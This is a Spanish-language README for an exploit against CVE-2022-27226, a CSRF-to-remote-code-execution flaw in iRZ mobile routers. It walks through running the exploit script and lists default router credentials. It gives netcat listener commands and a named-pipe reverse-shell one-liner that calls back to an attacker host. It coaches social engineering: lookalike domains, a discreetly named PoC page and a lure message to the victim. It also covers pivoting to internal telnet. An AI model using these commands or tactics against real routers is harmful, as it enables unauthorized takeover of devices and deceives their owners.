
Exploit para CVE-2022-27226
Exploit para CVE-2022-27226
Cross Site Request Forgery a Ejecución Remota de Código en Routers Móviles iRZ
<--Descubrimiento de Vulnerabilidad-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--Desarrollo del Exploit-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
Un problema de CSRF en Routers Móviles iRZ hasta el 16-03-2022 permite a un actor de amenazas crear una entrada en crontab en el panel de administración del router. La tarea cron ejecutará entonces la entrada en el intervalo definido por el actor de amenazas, lo que lleva a la ejecución remota de código, permitiendo al actor de amenazas obtener acceso al sistema de archivos. Además, si las credenciales predeterminadas del router no se rotan o un actor de amenazas descubre credenciales válidas, se puede lograr la ejecución remota de código sin interacción del usuario.
Iniciar dos listeners de netcat antes de intentar capturar una shell es pertinente, esto se debe a que el crontab, cuando se ejecuta, repetirá la misma tarea cron múltiples veces y tu shell morirá en el siguiente ciclo. No puedes usar nohup porque el entorno busybox es bastante restrictivo, y alternativamente podrías modificar el exploit con un intervalo de entrada de crontab diferente, sin embargo, la mejor manera de evitar esto sin preocuparse por el intervalo de crontab es utilizar múltiples listeners para la primera captura de reverse shell.
Se descubrió que en la mayoría de los casos, los routers no tienen el puerto telnet abierto externamente; sin embargo, una vez obtenida la ejecución remota de código, puedes utilizar telnet para arreglar TTY en su mayoría. Necesitas tener credenciales para hacerlo. Si estás utilizando la cadena completa de CSRF a RCE, te recomendamos que construyas una plantilla de PoC de CSRF más completa que registre el evento de inicio de sesión del usuario o los encabezados que pueden contener el encabezado de autorización básica que se traduce en el script.
Las credenciales predeterminadas para estos routers suelen ser root:root o admin:admin. Si tienes credenciales, ejecuta:
python cve.py
Sigue las instrucciones, que son bastante simples, luego inicia dos listeners de netcat en dos puertos separados.
nc -lvp 443
nc -lvp 5000
Cuando atrapes una reverse shell en el primer listener, vuelve a ejecutar el one liner de reverse shell para obtener una shell persistente:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
Finalmente, si tienes credenciales (que deberías tener si estás usando esta parte del módulo), intenta hacer un pivote hacia el servicio telnet restringido internamente:
telnet 0.0.0.0
"¿Pero qué pasa si telnet está expuesto externamente?" Entonces inicia sesión en el maldito router con las credenciales, imbécil.
Las instrucciones para este módulo son casi las mismas que las instrucciones de RCE Post-Auth. La diferencia principal es que no tienes credenciales.
Primero y ante todo, para explotar eficientemente, tienes que entender cómo funciona esto. CSRF requiere interacción del usuario, lo que significa que necesitarás hacer ingeniería social a alguien. Hay dos escenarios potenciales: el usuario está conectado cuando hace clic en el botón de prueba de concepto, o el usuario no está conectado. Si ya está autenticado en el router, la solicitud POST para crear la tarea cron se enviará a la API y el usuario verá una página en blanco. Si no está conectado, el usuario recibirá un aviso de autenticación básica y, convenientemente, el popup de autenticación básica tendrá la IP del router víctima; si introducen sus credenciales, envía la solicitud POST a la API.
Recomendamos intentar comprar un dominio similar si el router víctima está alojado en un subdominio o buscar un proveedor con los mismos rangos de subred para servidores si es un objetivo de alta prioridad. Refinar el PoC de CSRF podría valer la pena para un objetivo prioritario.
Ejecuta el script
python cve.py
Sigue las instrucciones; en el script, se generará una plantilla de csrf para ti. Recomendamos nombrarlo con algo un poco más discreto.
mv poc.new.html index.html
Aloja el PoC en tu servidor, preferiblemente en el mismo puerto que el router víctima.
python3 -m http.server 80
Toma el enlace y envíalo a la víctima, asegurándote de agregar el nombre del archivo PoC al final de la URL:
Hola cariño, ¿puedes iniciar sesión en el router, por favor?
http://tu-ip-en-estados-unidos-porque-no-seguiste-mi-consejo/index.html